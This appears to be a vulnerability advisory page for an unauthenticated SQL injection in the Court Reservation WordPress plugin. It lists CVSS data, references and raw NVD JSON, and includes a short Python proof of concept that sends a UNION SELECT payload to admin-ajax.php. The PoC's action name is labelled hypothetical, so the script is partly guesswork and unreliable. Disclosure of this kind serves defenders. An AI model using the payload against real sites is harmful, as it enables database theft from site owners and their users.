CVE-2026-1250

Description

The Court Reservation – Manage Your Court Bookings Online plugin for WordPress is vulnerable to generic SQL Injection via the ‘id’ parameter in all versions up to, and including, 1.10.11 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Court Reservation – Manage Your Court Bookings Online <= 1.10.11

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-1250
import requests

def check_sqli(url):
    # Target endpoint (example, actual endpoint may vary based on plugin routing)
    target = f"{url}/wp-admin/admin-ajax.php"
    
    # Payload attempting to extract database version
    # Vulnerable parameter: 'id'
    params = {
        "action": "court_res_action", # Hypothetical action name
        "id": "1 UNION SELECT 1, version(), 3-- -"
    }
    
    try:
        response = requests.get(target, params=params, timeout=10)
        # Analyze response for SQL errors or version strings
        if "syntax error" in response.text or "mysql" in response.text.lower():
            print(f"[+] Potential SQL Injection found at {url}")
            print(f"[+] Response snippet: {response.text[:200]}")
        else:
            print("[-] No obvious vulnerability detected.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    target_site = "http://example.com"
    check_sqli(target_site)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-1250
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-1250
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-1250/
[4] VulDB https://vuldb.com/cve/CVE-2026-1250
[5] https://plugins.trac.wordpress.org/browser/court-reservation/tags/1.10.8/public/class-courtres-public.php#L97
[6] https://www.wordfence.com/threat-intel/vulnerabilities/id/a482f6bb-5277-480b-8ec9-230dd4135f7c?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-1250", "sourceIdentifier": "[email protected]", "published": "2026-05-12T23:16:16.803", "lastModified": "2026-05-13T14:43:46.717", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Court Reservation – Manage Your Court Bookings Online plugin for WordPress is vulnerable to generic SQL Injection via the ‘id’ parameter in all versions up to, and including, 1.10.11 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/court-reservation/tags/1.10.8/public/class-courtres-public.php#L97", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a482f6bb-5277-480b-8ec9-230dd4135f7c?source=cve", "source": "[email protected]"}]}}